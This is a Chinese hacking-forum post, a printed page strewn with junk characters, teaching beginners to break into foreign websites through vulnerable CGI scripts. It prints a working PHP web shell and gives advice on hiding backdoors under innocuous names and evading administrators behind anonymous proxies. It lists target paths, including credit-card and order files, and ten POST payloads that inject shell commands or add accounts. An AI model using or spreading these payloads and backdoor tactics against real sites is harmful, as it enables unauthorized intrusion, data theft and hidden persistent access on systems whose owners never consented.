中国网络渗透测试联盟
标题:
CGI 脚本入侵快速上手+脚本使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:54
标题:
CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
9 |6 l- `& ~* V2 G5 f' t/ y+ V- A' Q
大家好 我是bboyhip 只是一名菜菜的exploiter
, d" e6 X7 Y$ ~( x1 u9 e' w& d
很开心来到贵论坛
3 Y; `# p c* ^, E1 ~+ C8 s
这里让我感觉 很有技术交流的感觉
* t6 ^0 Q4 n7 Z C% Q0 u2 H
我会长长来玩的
+ n% M2 N2 V4 Y! S
前言:
" L% [" ]7 A1 K6 V; u
以下讲解针对欧美日本网站
3 M) R* {$ ?- R& N' M' X+ [" S6 k
當我們在做滲透分析的時候 方法有很多
* ?5 u: Q5 u1 x" g/ c
我门都知道 国外伺服器大多是linux 平台
7 u8 G$ b: u: L
所以有很多网站程序有6成都会使用cgi 脚本来管理
8 p4 [% G0 b- [0 T/ Z& t, e* \( ~
目录为/cgi-bin/
* p4 V; r1 b7 n- s% e# o
! @8 w6 l c5 V7 P" n
只是个人在实务上一些经验
% g0 T0 w' G* F
写的不好 请多多见谅喔
: a) @# [' Y, ]
在这里我简单分为几个部份一定要會的
9 _9 I3 v: T5 _8 v: U, B& z: R
讲解一下
/ ^; x5 q; ?! _% ?2 n1 Y* c/ F4 y4 q
让没有基础的人很容易上手
, w1 ~" [2 u: V) v
* ~: @: }& M9 |3 `+ b' G- e. S% w+ i+ Q5 Y
以下内容跟帖回复才能看到
& r) C7 f5 L8 F1 c2 i8 n/ s2 `
==============================
" B: Q. h# q, ^5 q) v- A6 X5 _" Q
# \; k5 I% p1 @3 v3 [$ e& R9 S
第1部份: 何谓Shell?
& F+ f1 u6 ]) Z" J. p
Shell的中文, 可称为 "壳". Shell 是一个比较复杂的概念, 先看比较传统的解释:
# U, m+ z3 M- P; L: F6 a
A shell is the program which reads user input from the command line and executes actions based upon that input.
: O5 B0 x# {1 v2 N
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
5 {3 V3 {$ x6 v1 R. m* Z
+ _0 y9 o( C! O8 D6 a/ x7 o8 m
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.
: y: i) N& M$ }
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门. 大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多. 在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
' \& J5 ~- _2 k7 n0 S* H9 j
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
% |0 u: H& [9 N$ N# R5 ]
/ i9 ?1 n- ^+ C2 V/ K1 F
第2部份: Unix 指令
' X- ?: |3 k& [% K2 r: J: {' ]
以下是一些常见及重要的指令:
) |; z+ G9 T. V' Z+ q
pwd: 显示当前目录, 即是後门/程式所在的位置
# g' H3 F5 `( o# {+ ]
如 /home/www/site.com/cgi-bin/
3 T' S/ J6 \4 x& b# {
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).
# Z) o$ P, ~' d& {8 e" r% m: t
ls -al :详细列出档案资料(当前目录)
; Z& {% d4 w4 h" M# \+ o9 ^7 J
ls /: 列出根目录
( W$ U1 C. J2 @3 d5 a" T0 P
ls /etc: 列出/etc的资料夹及档案
/ r# B# j2 ~6 ~) _; E
ls ../ -al: 详细列出上一层的资料夹及档案
! @: K+ S e: C: y0 l
cat: 显示档案内容
9 @9 h+ _6 r4 Z9 t- C I! C9 r# c* A
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
2 _ R! m2 s$ h* t5 |
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
8 c- y: c' w1 r) D/ `
who: 显示谁login 至系统
' G; Q8 B7 ?) h# L+ _3 x
man: 显示指令用法
0 F" a w5 j l5 ]3 G
man ls: 显示ls这指令的用法
3 I; V# ~1 m( P; s+ Q4 k4 G, }7 h2 i
mkdir 建立目录
5 b3 t+ z* p1 z- T
rmdir 删除目录
' O% k7 ]; M" d3 h. ]3 x: Y
mv 移动档案
& p! q6 A O( E# d! n$ X$ p1 S
rm 删除档案
0 K! U5 R( g4 `
# G7 S% _& d6 Z, h/ Q
第3部份: Shell的使用
1 h- P2 T! T1 z; Q* }+ x
例如:
- Y6 e( K- y4 y5 J$ f1 ^
http://site.com/refer.php
$ A- r2 W6 y7 ~
这是我的後门, 原代码如下:
P P0 P/ T- V8 A, u
<Form Action="#" Method="POST">
) g7 F5 F3 g4 H9 w) b' A0 b3 t3 [' `
<Input type="text" name="cmd">
4 \4 e1 D2 T; z1 A( p
<Input type="Submit">
+ s* Q3 M" [' ]4 K$ _" r2 B5 |5 N
</Form>
/ d- |) e+ b$ F& N! g
<?php
. n p a1 p% B" b! {# K0 g5 ~
$cmd = $_POST['cmd'];
% O6 U8 N& U* K; S) Z+ H1 K) S
$Output = shell_exec($cmd);
! }$ u2 F, W+ U8 C& m
echo $Output;
3 y. t: g4 D, W- y0 S
?>
7 s2 q' e% Q7 n
输入pwd, 可得到绝对路径:
2 B+ u2 J1 }- a* m9 Q
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
# \% x% W9 _8 r( ?: w$ ?8 B
' i1 B# O, L' H
第4部份: 注意事项
7 x# `; D. P: A _0 |
- 使用匿名代理, 保障自己
2 C: _3 t0 M( p
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
1 |7 e$ q* ?3 ?
- 加後门前, 必须了解目标系统是否支援. 例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
/ A% O @/ m6 B0 r: v
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- Y4 ~# C2 r. F% Q
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
) }% X0 C- ~1 _9 N) J% M
不容易被发现.
) P2 I* w; m0 l. J7 x' W% P
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
* w( W, O; L& M6 B8 q
针对网站的渗透分析方法太多了
+ [: y8 n0 m5 r- d% ]# m1 g; Q5 c8 C0 L
这篇文章的重点是cgi 脚本攻击
) P4 ?+ [. z; G
所以我用简单的叙述形容
% M8 ?# j0 q9 N
开始讲解脚本入侵过程:
' P% W( G" c; i' x, S" L. B
在这里提供一些方法思路让大家学习一下
* L; Y# b. R1 X8 d6 q7 Q: h
% b j/ T1 t! Y9 V3 F
1.一开始对一个网站进行cgi漏洞扫描
- d7 O! ?; V8 X7 X
我们需要的东西有
" {) J! D& P' r7 n/ g2 n4 j; M
扫洞工具 如:triton..等等
0 p& b' ]# `8 o9 }3 i! O: Y
E表
- o! o8 F: \- Y) E w1 h9 ~$ `' n
如
" H$ @7 t9 d" w7 S+ T
/cgi-bin/add-passwd.cgi
* M* e: Z3 b+ q& r+ z
/WebShop/templates/cc.txt
% K3 H. l. Q& H# c3 O5 x
/Admin_files/order.log
/ Y+ o+ i5 V9 B3 V' K. }
/orders/mountain.cfg
% u% z0 r$ P) j& R7 ?# w& n
/cgi-sys/cart.pl
& L k; x( o# o
/scripts/cart.pl
1 ?1 F1 @4 T$ U/ P- `* X N
/htbin/cart.pl
, Z4 Y( Q) `) b
E表来源可以是网路收寻或是自己的0 day
+ O3 `, g9 z* Z. q& Y4 G* K2 \* X
. ]7 |% t# W4 T) s: j
2.怎样确认扫到的洞 是真的还假的?
# o' q" |# }1 k5 E
举例: target:
http://www.site.com/cgi-bin/add-passwd.cgi
$ Q; G5 q% u: k3 r
一般都是在IE里先看一下的,记住这个返回码哦
" J3 Q5 i" N [% }
ERROR:This script should be referenced with a METHOD of POST.
5 }* U* n# B( w4 z2 F# {6 q$ ]* N
没有返回一定是假的
1 B3 L: f6 B: m( X( ^, B' W
3.重来来了 很多人都会问我
$ w2 c- }- t& J0 k) Q* {
他扫到很多洞 但是不会使用
) m1 a" i ]/ I) h ^) T! h4 w
因为这些漏洞 使用的语法 称为post
7 E% r/ F+ P$ Y: n: z$ @
我们要找post 的方法很多
( G- |+ M& ?" Y4 W( e
可以是源代码分析 找出介质
5 }; d ?% c9 R; z+ S& J1 F
或是用抓包工具 抓他的语法...等等
; C* o7 \5 n! N! g! S) q) Y% S1 h
% k* D) S- G6 o8 d
以下我提供10个 cgi 洞以及使用方法post
* J3 g( ?* c1 k2 k: Y7 b5 z' q
让大家可以针对网站去做扫描
! Z g8 z. b# ?% I6 c
/index.cgi
, C) } U2 U$ }, d' L
wei=ren&gen=command
2 r7 ^+ r( Y" j; u$ Z) L
/passmaster.cgi
" U: X" @! v6 a/ I) S: U& |, a
Action=Add&Username=Username&Password=Password
" t# f/ r( Y- j b
/accountcreate.cgi
6 M9 e& A) x u, S/ y R
username=username&password=password&ref1=|echo;ls|
( x+ ]. c! c. f0 |+ q S
/form.cgi
" J1 Z+ s& H) `! c0 Z" B! F" N7 X' r
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
7 y) h3 y0 I5 ]/ ]% l
/addusr.pl
$ B! Y% M* k/ N$ P
/cgi-bin/EuroDebit/addusr.pl
0 L8 Z* Q% X) K) ]4 R
user=username&pass=Password&confirm=Password
1 A- t, R0 |! |! T- l
/ccbill-local.asp
$ [" ?! \7 B) z( X% K" t2 L0 |
post_values=username:password
, G7 n% D7 ?2 c2 l1 P
/count.cgi
3 @8 Z t- {; _7 I4 e8 Q
pinfile=|echo;ls -la;exit|
$ {9 _. r5 y& F' d
/recon.cgi
3 M9 A$ j0 a6 N! u6 F; V
/recon.cgi?search
- j# y3 G* w+ s# _0 S/ Q
searchoption=1&searchfor=|echo;ls -al;exit|
7 @+ d. ~- Q/ A+ k/ G" f+ n
/verotelrum.pl
# C, B2 x# l+ }
vercode=username:password:dseegsow:add:amount<&30>
- j; O n1 D, C4 d* a- S9 R
/af.cgi_browser_out=|echo;ls -la;exit;|
Q3 u2 `+ ]5 y% S3 ]- j9 w$ i0 B4 K
- Y* V5 o) P, E" u. S4 O* ]3 C
今天就讲到这 感谢大家支持
: N! C) w. f8 Y" y" F
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2